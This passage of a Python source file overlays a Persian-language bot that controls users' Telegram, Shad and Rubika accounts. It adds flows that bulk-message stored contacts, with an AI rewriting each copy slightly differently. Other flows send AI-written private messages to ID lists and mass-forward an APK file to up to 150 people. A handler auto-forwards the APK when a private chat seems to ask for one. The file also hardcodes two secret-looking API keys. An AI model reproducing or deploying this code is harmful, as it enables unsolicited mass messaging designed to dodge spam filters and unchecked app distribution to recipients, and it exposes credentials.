                      apk_id=int(s["apk_id"]))
            return await _safe_edit(
                chat_id, msg_id,
                "📋 **آیدی‌ها را خط‌به‌خط بفرست** (حداکثر ۱۵۰ نفر):\n"
                "`@USER1`\n`@USER2`\n...",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        # ── PV REPLY — NEW FLOW ─────────────────────────────────
        if data_s == "ai.pv":
            return await _safe_edit(
                chat_id, msg_id,
                "💬 **پاسخ خودکار PV**\n\n"
                "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                "پلتفرم رو انتخاب کن:",
                _platform_kb_5(lang, "trx222b.pv.plat", back="ai"),
            )

        if data_s.startswith("trx222b.pv.plat:"):
            platform = data_s.split(":", 1)[1]
            if platform not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.", trx.main_menu(lang, uid))
            return await _safe_edit(
                chat_id, msg_id,
                f"📱 اکانت {_platform_name(platform, lang)} رو انتخاب کن:",
                _account_kb_for(
                    uid, lang, "trx222b.pv.acc", platform, back="ai.pv",
                ),
            )

        # FIXED: parse با parts[1] و parts[2]
        if data_s.startswith("trx222b.pv.acc:"):
            aid, platform = _parse_cb_aid_platform(data_s)
            if aid is None:
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ آیدی نامعتبر. دوباره انتخاب کن.",
                    _platform_kb_5(lang, "trx222b.pv.plat", back="ai"),
                )
            row = _db().fetchone(
                "SELECT id FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (aid, uid),
            )
            if not row:
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ این اکانت پیدا نشد. دوباره انتخاب کن.",
                    _platform_kb_5(lang, "trx222b.pv.plat", back="ai"),
                )
            state.set(uid, "trx222b_pv_count",
                      account_id=aid, platform=platform)
            return await _safe_edit(
                chat_id, msg_id,
                "📢 **تعداد مخاطبین**\n\nعدد بین ۱ تا ۱۰۰ بفرست:",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == "trx222b.pv.confirm":
            s = state.get(uid)
            if not s or s.get("state") != "trx222b_pv_confirm":
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id, "❌ منقضی شده.",
                    trx.ai_advanced_menu(lang, uid),
                )
            state.set(uid, "trx222b_pv_ids",
                      account_id=s["account_id"], platform=s["platform"],
                      prompt=s["prompt"], max_ids=s["max_ids"])
            return await _safe_edit(
                chat_id, msg_id,
                f"📋 **لیست آیدی‌ها**\n\n"
                f"حداکثر **{s['max_ids']}** آیدی، خط‌به‌خط بفرست:\n"
                "`@USER1`\n`@USER2`",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        # ── BULK CONTACTS — NEW FLOW ────────────────────────────
        if data_s == "ai.bulk.contacts":
            return await _safe_edit(
                chat_id, msg_id,
                "📨 **پیام به مخاطبین**\n\n"
                "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                "پلتفرم رو انتخاب کن:",
                _platform_kb_5(lang, "trx222b.bulk.plat", back="ai"),
            )

        if data_s.startswith("trx222b.bulk.plat:"):
            platform = data_s.split(":", 1)[1]
            if platform not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.", trx.main_menu(lang, uid))
            return await _safe_edit(
                chat_id, msg_id,
                f"📱 اکانت {_platform_name(platform, lang)} رو انتخاب کن:",
                _account_kb_for(
                    uid, lang, "trx222b.bulk.acc", platform,
                    back="ai.bulk.contacts",
                ),
            )

        # FIXED: parse با parts[1] و parts[2]
        if data_s.startswith("trx222b.bulk.acc:"):
            aid, platform = _parse_cb_aid_platform(data_s)
            if aid is None:
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ آیدی نامعتبر. دوباره انتخاب کن.",
                    _platform_kb_5(lang, "trx222b.bulk.plat", back="ai.bulk.contacts"),
                )
            row = _db().fetchone(
                "SELECT id FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (aid, uid),
            )
            if not row:
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ این اکانت پیدا نشد. دوباره انتخاب کن.",
                    _platform_kb_5(lang, "trx222b.bulk.plat", back="ai.bulk.contacts"),
                )
            state.set(uid, "trx222b_bulk_message",
                      account_id=aid, platform=platform)
            return await _safe_edit(
                chat_id, msg_id,
                "📨 **متن پیام**\n\n"
                "متنی که می‌خوای برای همه مخاطبین ارسال بشه رو بفرست:",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == "trx222b.bulk.confirm":
            s = state.get(uid)
            if not s or s.get("state") != "trx222b_bulk_confirm":
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id, "❌ منقضی شده.",
                    trx.ai_advanced_menu(lang, uid),
                )
            contacts = await _get_contacts_for(
                uid, s["account_id"], s["platform"], limit=150,
            )
            if not contacts:
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ هیچ مخاطبی در دیتابیس پیدا نشد.",
                    trx.ai_advanced_menu(lang, uid),
                )
            batch_id = f"bulk-{int(time.time())}"
            account_id = s["account_id"]
            platform = s["platform"]
            message = s["message"]
            state.pop(uid)
            await _safe_edit(
                chat_id, msg_id,
                f"⏳ ارسال به **{len(contacts)}** مخاطب شروع شد...",
                IKB([[("↩️ بازگشت", "ai", "primary")]]),
            )
            _trx_task_create(_bulk_worker(
                uid, account_id, platform,
                message, contacts, batch_id, chat_id, lang,
            ))
            return

        # ── APK training ────────────────────────────────────────
        if data_s == "apk.training":
            return await _safe_edit(
                chat_id, msg_id, _apk_training_text(lang),
                IKB([[("↩️ بازگشت", "apk", "primary")]]),
            )

        # ── banner slot ─────────────────────────────────────────
        if data_s.startswith("adm.banner.slot:"):
            slot = data_s.split(":", 1)[1]
            try:
                state.set(uid, trx.State.ADD_BANNER_IMAGE, slot=slot)
            except Exception:
                state.set(uid, "add_banner_image", slot=slot)
            return await _safe_edit(
                chat_id, msg_id,
                f"🖼 بنر برای بخش **{slot}** رو ارسال کن (یا /skip):",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        # ── cancel برای wizard های جدید ─────────────────────────
        if data_s == "cancel":
            s = state.get(uid)
            if s and str(s.get("state") or "").startswith("trx222b_"):
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id, t(lang, "cancelled"),
                    trx.main_menu(lang, uid),
                )

    except Exception as exc:
        _log().error(f"[RUN] dispatch [{data_s}]: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
        # FIX: state پاک بشه تا کاربر گیر نکنه
        try:
            s = state.get(uid)
            if s and str(s.get("state") or "").startswith("trx222b_"):
                state.pop(uid)
        except Exception:
            pass
        try:
            return await _bot().send(
                chat_id,
                "⚠️ خطای داخلی رخ داد؛ دوباره تلاش کن.",
                reply_markup=trx.main_menu(lang, uid),
            )
        except Exception:
            return None

    # هر چیز دیگر → نسخه اصلی
    try:
        return await _orig_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data_s)
    except Exception as exc:
        _log().error(f"[RUN] original dispatch failed [{data_s}]: {_mask(str(exc))}")
        try:
            # FIX: state پاک بشه
            state.pop(uid)
        except Exception:
            pass
        try:
            return await _bot().send(
                chat_id,
                "⚠️ خطای داخلی رخ داد؛ دوباره تلاش کن.",
                reply_markup=trx.main_menu(lang, uid),
            )
        except Exception:
            return None


trx.dispatch_cb = _dispatch


# ═══════════════════════════════════════════════════════════════════
# 20) ON_MSG PRE-HOOK
# ═══════════════════════════════════════════════════════════════════

_orig_on_msg = trx.on_msg


async def _on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()

    # ── /start ──────────────────────────────────────────────────
    if uid and chat_id and txt.startswith("/start"):
        try:
            u = ensure_user(
                uid,
                (msg.get("from") or {}).get("username", ""),
                (msg.get("from") or {}).get("first_name", ""),
            )
            lang = u["lang"] or "fa"

            force_ok = True
            force_info = None
            try:
                force_ok, force_info = await trx.check_force_join(uid)
            except Exception as exc:
                _log().warning(f"[RUN] /start force-join check: {_mask(str(exc))}")

            enabled = True
            try:
                enabled = trx._is_bot_enabled()
            except Exception:
                pass

            try:
                await _panel_with_banner(
                    chat_id, 0,
                    t(lang, "welcome"),
                    trx.main_menu(lang, uid),
                    slot="main_menu", lang=lang,
                )
                trx.log_event(uid, "START")
            except Exception as exc:
                _log().warning(f"[RUN] /start panel failed: {_mask(str(exc))}")
                try:
                    await _bot().send(
                        chat_id, t(lang, "welcome"),
                        reply_markup=trx.main_menu(lang, uid),
                    )
                except Exception:
                    pass

            if not enabled and not is_admin(uid):
                try:
                    await _bot().send(
                        chat_id,
                        "🛠 **ربات در حال تعمیر است**",
                        reply_markup=trx.main_menu(lang, uid),
                    )
                except Exception:
                    pass

            if not force_ok and force_info:
                try:
                    await _bot().send(
                        chat_id,
                        "📌 **عضویت اجباری**\n\n"
                        "برای استفاده از بخش‌های قفل‌شده، ابتدا در کانال‌های زیر عضو شوید:",
                        reply_markup={"inline_keyboard": force_info.get("btns", [])},
                    )
                except Exception:
                    pass
            return
        except Exception as exc:
            _log().error(f"[RUN] /start handler failed: {_mask(str(exc))}")
            try:
                await _bot().send(
                    chat_id,
                    "🦖 **به TRX خوش آمدید**",
                    reply_markup=trx.main_menu("fa", uid),
                )
            except Exception:
                pass
            return

    # ── State های جدید ─────────────────────────────────────────
    if uid and chat_id and txt and not txt.startswith("/"):
        try:
            s = state.get(uid)
            if s:
                st = str(s.get("state") or "")

                # Shad token
                if st == "add_acc_otp" and s.get("service") == "shad":
                    ok, info = await shad_verify(uid, txt)
                    state.pop(uid)
                    if ok:
                        return await _bot().send(
                            chat_id,
                            "✅ **حساب شاد اضافه شد**\n\n"
                            "🤖 AI از این پس روی این حساب فعال است.",
                            reply_markup=trx.main_menu(get_lang(uid), uid),
                        )
                    return await _bot().send(
                        chat_id,
                        f"❌ {str(info)[:400]}",
                        reply_markup=IKB([[("❌ لغو", "cancel", "danger")]]),
                    )

                # APK Send: link
                if st == "trx222b_apksend_link":
                    aid = int(s["account_id"])
                    platform = s["platform"]
                    try:
                        ok, reason, _mid, _hint = trx._trx01_validate_apk_link(platform, txt)
                    except Exception as exc:
                        ok, reason = False, str(exc)
                    if not ok:
                        return await _bot().send(
                            chat_id,
                            f"❌ {reason}",
                            reply_markup=IKB([[("❌ لغو", "cancel", "danger")]]),
                        )
                    try:
                        ok_save, info, row = await trx._trx660_save_apk_link(uid, aid, platform, txt)
                    except Exception as exc:
                        ok_save, info, row = False, str(exc), None
                    if not ok_save or not row:
                        return await _bot().send(
                            chat_id,
                            f"❌ ذخیره APK ناموفق: {str(info)[:400]}",
                            reply_markup=IKB([[("❌ لغو", "cancel", "danger")]]),
                        )
                    apk_id = int(row.get("apk_id") or row.get("id") or 0)
                    state.set(uid, "trx222b_apksend_recipients",
                              account_id=aid, platform=platform, apk_id=apk_id)
                    return await _bot().send(
                        chat_id,
                        "✅ APK ثبت شد.\n\n"
                        "🎯 **مخاطبین هدف** را انتخاب کن:\n"
                        "• 👥 همه مخاطبین (حداکثر ۱۵۰)\n"
                        "• 📋 آیدی‌های دستی",
                        reply_markup=IKB([
                            [("👥 همه مخاطبین", "trx222b.apksend.all", "primary")],
                            [("📋 آیدی‌های دستی", "trx222b.apksend.manual", "primary")],
                            [("❌ لغو", "cancel", "danger")],
                        ]),
                    )

                # APK Send: manual ids
                if st == "trx222b_apksend_manual":
                    ids = [x.strip() for x in txt.splitlines() if x.strip()]
                    if len(ids) > 150:
                        return await _bot().send(
                            chat_id,
                            f"❌ حداکثر ۱۵۰ آیدی مجاز است (تو {len(ids)} فرستادی).",
                        )
                    if not ids:
                        return await _bot().send(chat_id, "❌ حداقل یک آیدی بفرست.")
                    aid = int(s["account_id"])
                    platform = s["platform"]
                    apk_id = int(s["apk_id"])
                    batch_id = f"apksend-{int(time.time())}"
                    state.pop(uid)
                    await _bot().send(
                        chat_id,
                        f"⏳ ارسال APK به **{len(ids)}** نفر شروع شد...",
                        reply_markup=IKB([[("↩️ بازگشت", "ai", "primary")]]),
                    )
                    _trx_task_create(_apksend_worker(
                        uid, aid, platform, apk_id, ids, batch_id, chat_id, get_lang(uid),
                    ))
                    return

                # PV: count
                if st == "trx222b_pv_count":
                    digits = _trx77_norm_digits(txt)
                    if not digits.isdigit():
                        return await _bot().send(chat_id, "❌ فقط عدد وارد کن (۱ تا ۱۰۰).")
                    n = int(digits)
                    if n < 1 or n > 100:
                        return await _bot().send(chat_id, "❌ عدد بین ۱ تا ۱۰۰ باشه.")
                    state.set(uid, "trx222b_pv_prompt",
                              account_id=s["account_id"], platform=s["platform"], count=n)
                    return await _bot().send(
                        chat_id,
                        "📝 **پرامپت**\n\nپرامپتی که AI برای هر نفر بفرسته رو بنویس:",
                        reply_markup=IKB([[("❌ لغو", "cancel", "danger")]]),
                    )

                # PV: prompt
                if st == "trx222b_pv_prompt":
                    state.set(uid, "trx222b_pv_confirm",
                              account_id=s["account_id"], platform=s["platform"],
                              max_ids=s["count"], prompt=txt)
                    return await _bot().send(
                        chat_id,
                        f"📢 **تأیید ارسال**\n\n"
                        f"تعداد: **{s['count']}** نفر\n"
                        f"هر پیام با شخصیت تو بازنویسی می‌شه\n\n"
                        f"تأیید می‌کنی؟",
                        reply_markup=IKB([
                            [("✅ تأیید", "trx222b.pv.confirm", "success"),
                             ("❌ لغو", "cancel", "danger")],
                        ]),
                    )

                # PV: ids
                if st == "trx222b_pv_ids":
                    ids = [x.strip() for x in txt.splitlines() if x.strip()]
                    max_ids = int(s.get("max_ids") or 100)
                    if len(ids) > max_ids:
                        return await _bot().send(
                            chat_id, f"❌ حداکثر {max_ids} آیدی مجاز است."
                        )
                    if not ids:
                        return await _bot().send(chat_id, "❌ حداقل یک آیدی بفرست.")
                    batch_id = f"pv-{int(time.time())}"
                    account_id = s["account_id"]
                    platform = s["platform"]
                    prompt_text = s["prompt"]
                    state.pop(uid)
                    await _bot().send(
                        chat_id,
                        f"⏳ ارسال به **{len(ids)}** نفر شروع شد...",
                        reply_markup=IKB([[("↩️ بازگشت", "ai", "primary")]]),
                    )
                    _trx_task_create(_pv_worker(
                        uid, int(account_id), platform,
                        prompt_text, ids, batch_id, chat_id, get_lang(uid),
                    ))
                    return

                # Bulk: message text
                if st == "trx222b_bulk_message":
                    state.set(uid, "trx222b_bulk_confirm",
                              account_id=s["account_id"], platform=s["platform"], message=txt)
                    return await _bot().send(
                        chat_id,
                        "📨 **تأیید ارسال به مخاطبین**\n\n"
                        "متن برای همه مخاطبین ارسال می‌شه\n"
                        "AI برای هر نفر متن رو کمی متفاوت بازنویسی می‌کنه\n\n"
                        "تأیید می‌کنی؟",
                        reply_markup=IKB([
                            [("✅ تأیید", "trx222b.bulk.confirm", "success"),
                             ("❌ لغو", "cancel", "danger")],
                        ]),
                    )
        except Exception as exc:
            _log().error(f"[RUN] state hook failed: {_mask(str(exc))}")

    return await _orig_on_msg(msg)


trx.on_msg = _on_msg


# ═══════════════════════════════════════════════════════════════════
# 21) _register_ai_handler override
# ═══════════════════════════════════════════════════════════════════

_orig_register_ai_handler = trx._register_ai_handler
_TRX222B_HANDLER_KEYS = set()


def _register_ai_handler_v2(client, uid, service, account_id=None):
    aid = int(account_id or trx._account_id_for(uid, service) or 0)
    if not client or not aid:
        return False
    key = (int(uid), int(aid), id(client))
    if key in _TRX222B_HANDLER_KEYS:
        return True
    svc = str(service or "").lower()

    if svc == "telegram":
        try:
            from telethon import events as tg_events
            on = getattr(client, "on", None)
            if callable(on):
                async def handler(event):
                    try:
                        await trx._trx01_event_handler(event, int(uid), svc, int(aid))
                    except Exception as exc:
                        _log().error(f"[RUN] telegram handler: {_mask(str(exc))}")
                registered = False
                try:
                    on(tg_events.NewMessage)(handler)
                    registered = True
                except TypeError:
                    try:
                        on(tg_events.NewMessage())(handler)
                        registered = True
                    except Exception as exc:
                        _log().warning(f"[RUN] telegram on(): {_mask(str(exc))}")
                except Exception as exc:
                    _log().warning(f"[RUN] telegram on(): {_mask(str(exc))}")
                if registered:
                    _TRX222B_HANDLER_KEYS.add(key)
                    return True
        except Exception as exc:
            _log().warning(f"[RUN] telegram event reg failed: {_mask(str(exc))}")

    if svc == "shad":
        async def shad_handler(event):
            try:
                await trx._trx01_event_handler(event, int(uid), svc, int(aid))
            except Exception as exc:
                _log().error(f"[RUN] shad handler: {_mask(str(exc))}")
        registered = False
        for name in ("on_message", "on"):
            fn = getattr(client, name, None)
            if not callable(fn):
                continue
            try:
                res = fn(shad_handler)
                if asyncio.iscoroutine(res):
                    try:
                        asyncio.get_running_loop().create_task(res)
                    except Exception:
                        pass
                registered = True
                break
            except TypeError:
                try:
                    deco = fn()
                    if callable(deco):
                        deco(shad_handler)
                        registered = True
                        break
                except Exception:
                    continue
            except Exception:
                continue
        if registered:
            _TRX222B_HANDLER_KEYS.add(key)
            return True

    try:
        ok = _orig_register_ai_handler(client, uid, service, aid)
        if ok:
            _TRX222B_HANDLER_KEYS.add(key)
        return ok
    except Exception as exc:
        _log().warning(f"[RUN] original register_ai_handler: {_mask(str(exc))}")
        return False


try:
    trx._register_ai_handler = _register_ai_handler_v2
except Exception as exc:
    _log().warning(f"[RUN] cannot override _register_ai_handler: {_mask(str(exc))}")


# ═══════════════════════════════════════════════════════════════════
# 22) DB.__init__ wrap
# ═══════════════════════════════════════════════════════════════════

_prev_db_init = trx.DB.__init__


def _new_db_init(self, path):
    _prev_db_init(self, path)
    try:
        _ensure_schemas()
    except Exception as exc:
        _log().warning(f"[RUN] schema on DB init: {_mask(str(exc))}")


trx.DB.__init__ = _new_db_init


# ═══════════════════════════════════════════════════════════════════
# 23) LIVE AI event handler wrapper — APK intent auto-forward in PV
# ═══════════════════════════════════════════════════════════════════

_orig_trx01_event_handler = getattr(trx, "_trx01_event_handler", None)


async def _enhanced_event_handler(event, uid, service, aid):
    """Wrap _trx01_event_handler با intent detection برای APK در PV."""
    try:
        client = trx.ai_live_clients.get((uid, aid))
        text_value = _trx_extract_event_text(event) or ""
        private = _trx_is_private_event(event)

        # APK auto-forward in PV
        if private and text_value and _trx222_apk_intent(text_value):
            try:
                # find APK for this account's platform
                apk = None
                try:
                    apk = trx._trx660_apk_payload(uid, aid)
                except Exception:
                    apk = None
                if apk:
                    apk_id = int(apk.get("id") or apk.get("apk_id") or 0)
                    target = await _trx_event_chat_id(event)
                    if apk_id and target:
                        ok, info = await trx._trx_forward_source_apk_v11(
                            uid, aid, target, apk_id
                        )
                        if ok:
                            log_line = f"[RUN] APK auto-forwarded in PV for uid={uid} aid={aid}"
                            try:
                                _log().info(log_line)
                            except Exception:
                                pass
                            try:
                                trx.log_account_activity(aid, uid, "apk_forward", str(target), 1)
                            except Exception:
                                pass
                            peer = _trx_peer_key(event, f"{service}:{aid}")
                            _trx_memory_save(uid, aid, peer, "user", text_value)
                            _trx_memory_save(uid, aid, peer, "assistant", "[APK forwarded]")
                            return
            except Exception as exc:
                _log().warning(f"[RUN] apk auto-forward failed: {_mask(str(exc))}")

        # Fall through to original
        if _orig_trx01_event_handler is not None:
            return await _orig_trx01_event_handler(event, uid, service, aid)
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _log().error(f"[RUN] enhanced event handler: {_mask(str(exc))}")


try:
    trx._trx01_event_handler = _enhanced_event_handler
    trx._trx_event_handler = _enhanced_event_handler
    trx._trx_event_handler_v9 = _enhanced_event_handler
    trx._trx_event_handler_v11 = _enhanced_event_handler
    trx._trx115_event_handler_v14 = _enhanced_event_handler
except Exception as exc:
    _log().warning(f"[RUN] cannot override event handlers: {_mask(str(exc))}")


# ═══════════════════════════════════════════════════════════════════
# 24) POLLING LOOP OVERRIDE
# ═══════════════════════════════════════════════════════════════════

_TRX222B_PENDING_TASKS = set()


def _track_task(coro):
    try:
        task = asyncio.create_task(coro)
    except Exception:
        return None
    _TRX222B_PENDING_TASKS.add(task)

    def _cleanup(t):
        _TRX222B_PENDING_TASKS.discard(t)
        try:
            exc = t.exception()
            if exc is not None:
                _log().error(
                    f"[RUN] background task crashed: "
                    f"{type(exc).__name__}: {_mask(str(exc))}"
                )
        except (asyncio.CancelledError, Exception):
            pass

    try:
        task.add_done_callback(_cleanup)
    except Exception:
        pass
    return task


async def _polling_loop_async():
    _log().info("[RUN] Concurrent polling loop started.")
    while trx.bot.running:
        try:
            r = await trx.bot.get_updates(timeout=25)
            if not r.get("ok"):
                await asyncio.sleep(3)
                continue
            for upd in r.get("result", []):
                trx.bot.offset = upd["update_id"] + 1
                try:
                    if "message" in upd:
                        _track_task(trx.on_msg(upd["message"]))
                    elif "callback_query" in upd:
                        _track_task(trx.on_cb(upd["callback_query"]))
                except Exception as exc:
                    _log().error(
                        f"[RUN] update dispatch failed: {_mask(str(exc))}\n"
                        f"{traceback.format_exc(limit=40)}"
                    )
        except asyncio.CancelledError:
            break
        except Exception as exc:
            _log().warning(f"[RUN] polling error: {_mask(str(exc))}")
            await asyncio.sleep(5)

    if _TRX222B_PENDING_TASKS:
        try:
            await asyncio.gather(*list(_TRX222B_PENDING_TASKS), return_exceptions=True)
        except Exception:
            pass


try:
    trx.polling_loop = _polling_loop_async
except Exception as exc:
    _log().warning(f"[RUN] cannot override polling_loop: {_mask(str(exc))}")


# ═══════════════════════════════════════════════════════════════════
# 25) RUN
# ═══════════════════════════════════════════════════════════════════

def _run():
    if len(sys.argv) > 1:
        if sys.argv[1] == "--stop":
            trx._cli_stop()
            sys.exit(0)
        if sys.argv[1] == "--status":
            trx._cli_status()
            sys.exit(0)

    try:
        _ensure_shadapi_installed()
    except Exception as exc:
        _log().warning(f"[RUN] shadapi install skipped: {_mask(str(exc))}")

    try:
        _ensure_rulog_installed()
    except Exception as exc:
        _log().warning(f"[RUN] rulog install skipped: {_mask(str(exc))}")

    try:
        _ensure_telethon_installed()
    except Exception as exc:
        _log().warning(f"[RUN] telethon install skipped: {_mask(str(exc))}")

    try:
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)
        loop.run_until_complete(trx.main())
    except KeyboardInterrupt:
        print("\n[!] Interrupted.")
    except Exception as exc:
        print(f"\n[FATAL] {type(exc).__name__}: {exc}")
        traceback.print_exc(limit=40)

# ═══════════════════════════════════════════════════════════════════
# TRXQ11 FINAL OVERLAY — reliability, forwarding, providers, UX
# Main file is intentionally not modified.
# ═══════════════════════════════════════════════════════════════════
TRXQ11_BUILD = "2026-09-25-final-overlay-v1"

TRXQ11_BLUESMINDS_KEY = os.getenv("TRXQ11_BLUESMINDS_KEY", "sk-qj5Kso2kAX0mwzmQqbeZZctOrnl7FSxzYdoGFrFZzuTrPBdy").strip()
TRXQ11_ROUTEWAY_KEY = os.getenv("TRXQ11_ROUTEWAY_KEY", "sk-9vXtLcn3f9_MRPUpkZSD69g_lSNmGsAmxfOefFgPXdk7sAZwDzv7BfzYVzVOHIIQh7oaQ").strip()
TRXQ11_BLUESMINDS_MODEL = os.getenv("TRXQ11_BLUESMINDS_MODEL", "meta/llama-3.1-8b-instruct").strip()
TRXQ11_ROUTEWAY_MODEL = os.getenv("TRXQ11_ROUTEWAY_MODEL", "gpt-4o-mini").strip()
TRXQ11_PROVIDER_ROWS = (
    {"name": "TRXQ11_BLUESMINDS", "provider": "bluesminds", "base_url": "https://api.bluesminds.com/v1", "model": TRXQ11_BLUESMINDS_MODEL, "api_key": TRXQ11_BLUESMINDS_KEY, "priority": 6},
    {"name": "TRXQ11_ROUTEWAY", "provider": "routeway", "base_url": "https://api.routeway.ai/v1", "model": TRXQ11_ROUTEWAY_MODEL, "api_key": TRXQ11_ROUTEWAY_KEY, "priority": 7},
)


def _trxq11_seed_providers():
    database = _db()
    if database is None:
        return
    for item in TRXQ11_PROVIDER_ROWS:
        if not item["api_key"]:
            continue
        try:
            existing = database.fetchone("SELECT id FROM ai_providers WHERE name=?", (item["name"],))
            if existing:
                database.execute("UPDATE ai_providers SET provider=?,base_url=?,model=?,api_key=?,priority=?,status=CASE WHEN status='disabled' THEN status ELSE 'unknown' END WHERE name=?", (item["provider"], item["base_url"], item["model"], item["api_key"], item["priority"], item["name"]))
            else:
                database.execute("INSERT INTO ai_providers(name,provider,base_url,model,api_key,priority,status,created_at) VALUES(?,?,?,?,?,?,?,?)", (item["name"], item["provider"], item["base_url"], item["model"], item["api_key"], item["priority"], "unknown", now()))
            _log().info(f"[TRXQ11] AI provider registered: {item['name']}")
        except Exception as exc:
            _log().warning(f"[TRXQ11] provider seed failed: {_mask(str(exc))}")


_TRXQ11_DB_INIT_BASE = trx.DB.__init__


def _trxq11_db_init(self, path):
    _TRXQ11_DB_INIT_BASE(self, path)
    previous_db = getattr(trx, "db", None)
    try:
        # main() assigns trx.db only after DB() returns; expose this instance
        # briefly so the additive provider seed runs on first startup too.
        trx.db = self
        _trxq11_seed_providers()
    except Exception as exc:
        _log().warning(f"[TRXQ11] provider seed after DB init failed: {_mask(str(exc))}")
    finally:
        if previous_db is not self:
            trx.db = previous_db


trx.DB.__init__ = _trxq11_db_init
if _db() is not None:
    _trxq11_seed_providers()

# Restore the main file's final Rubika v16 sender instead of the older Q path.
_TRXQ11_RUBIKA_SEND_BASE = getattr(trx, "rubika_send_code_v16", None)
_TRXQ11_RUBIKA_VERIFY_BASE = getattr(trx, "rubika_verify_v15", None)
if callable(_TRXQ11_RUBIKA_SEND_BASE) and callable(_TRXQ11_RUBIKA_VERIFY_BASE):
    try:
        trx.SERVICE_HANDLERS["rubika"] = {"send": _TRXQ11_RUBIKA_SEND_BASE, "verify": _wrap_verify_with_ai_binding("rubika", _TRXQ11_RUBIKA_VERIFY_BASE)}
        _log().info("[TRXQ11] Rubika handler restored to main v16/v15 chain")
    except Exception as exc:
        _log().warning(f"[TRXQ11] Rubika handler restore failed: {_mask(str(exc))}")


_TRXQ11_FORWARD_BASE = getattr(trx, "_trx_forward_source_apk_v11", None)


async def _trxq11_forward_source_apk(uid, aid, target, apk_id):
    database = _db()
    if database is None:
        return False, "database is not ready"
    try:
        row = database.fetchone("SELECT af.*,src.account_id AS source_account_id,src.source_peer,src.source_message_id,src.platform FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id WHERE af.id=? AND af.user_id=? AND af.enabled=1 LIMIT 1", (int(apk_id), int(uid)))
    except Exception as exc:
        return False, f"APK source lookup failed: {exc}"
    if not row:
        return False, "APK source not found"
    source_aid = int(row["source_account_id"] or aid or 0)
    client = trx.ai_live_clients.get((uid, source_aid))
    if client is None:
        try:
            client = await trx._ensure_ai_client(uid, source_aid)
        except Exception as exc:
            return False, f"source account reconnect failed: {exc}"
    if client is None:
        return False, "source account is not connected"
    source_peer = str(row["source_peer"] or "").strip()
    source_id = str(row["source_message_id"] or "").strip()
    if not source_id.isdigit() or not source_peer:
        return False, "APK source message is incomplete"
    try:
        source_dest = await trx._trx_resolve_target(client, source_peer)
    except Exception:
        source_dest = source_peer
    try:
        dest = await trx._trx_resolve_target(client, target)
    except Exception:
        dest = target
    failures = []

    async def _try(fn, args, kwargs):
        try:
            result = fn(*args, **kwargs)
            if asyncio.iscoroutine(result):
                result = await result
            return True, result
        except Exception as exc:
            failures.append(f"{getattr(fn, '__name__', 'forward')}: {type(exc).__name__}: {str(exc)[:160]}")
            return False, None

    for name in ("forward_messages", "forwardMessages"):
        fn = getattr(client, name, None)
        if callable(fn):
            variants = (((source_dest, dest, [source_id]), {}), ((source_peer, dest, [source_id]), {}), ((dest,), {"from_peer": source_dest, "message_ids": [int(source_id)]}), ((dest,), {"from_": source_dest, "messages": [int(source_id)]}), ((dest,), {"from_": source_peer, "messages": [source_id]}), ((dest, [source_id]), {"from_": source_peer}), ((dest, source_id), {"from_": source_peer}))
            for args, kwargs in variants:
                ok, result = await _try(fn, args, kwargs)
                if ok:
                    return True, result
    for name in ("forward_message", "forwardMessage", "copy_message", "copyMessage"):
        fn = getattr(client, name, None)
        if callable(fn):
            variants = (((dest, source_id, source_peer), {}), ((dest, source_id), {"from_": source_peer}), ((dest,), {"message_id": int(source_id), "from_peer": source_peer}), ((dest,), {"message_id": int(source_id), "from_": source_peer}), ((dest,), {"source_peer": source_peer, "source_message_id": int(source_id)}))
            for args, kwargs in variants:
                ok, result = await _try(fn, args, kwargs)
                if ok:
                    return True, result
    if callable(_TRXQ11_FORWARD_BASE):
        try:
            ok, info = await _TRXQ11_FORWARD_BASE(uid, aid, target, int(apk_id))
            if ok:
                return True, info
            failures.append(str(info))
        except Exception as exc:
            failures.append(f"main forwarder: {type(exc).__name__}: {str(exc)[:160]}")
    return False, "native self-forward failed: " + " | ".join(failures[-6:])


trx._trx_forward_source_apk_v11 = _trxq11_forward_source_apk
trx._trx_forward_source_apk = _trxq11_forward_source_apk


async def _trxq11_apksend_worker(uid, aid, platform, apk_id, peers, batch_id, chat_id, lang):
    sent, failed = 0, 0
    for index, peer in enumerate(list(peers or [])):
        try:
            ok, info = await _trxq11_forward_source_apk(uid, aid, peer, apk_id)
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            ok, info = False, str(exc)
        try:
            _db().execute("INSERT INTO trx222b_apk_send_log(user_id,account_id,platform,peer_id,apk_id,success,batch_id,created_at) VALUES(?,?,?,?,?,?,?,?)", (uid, aid, platform, str(peer), int(apk_id), int(bool(ok)), batch_id, now()))
        except Exception:
            pass
        if ok:
            sent += 1
        else:
            failed += 1
            _log().warning(f"[TRXQ11] APK forward failed peer={str(peer)[:80]}: {_mask(str(info))[:240]}")
        if index < len(peers) - 1:
            await asyncio.sleep(float(os.getenv("TRXQ11_FORWARD_GAP", "3")))
    try:
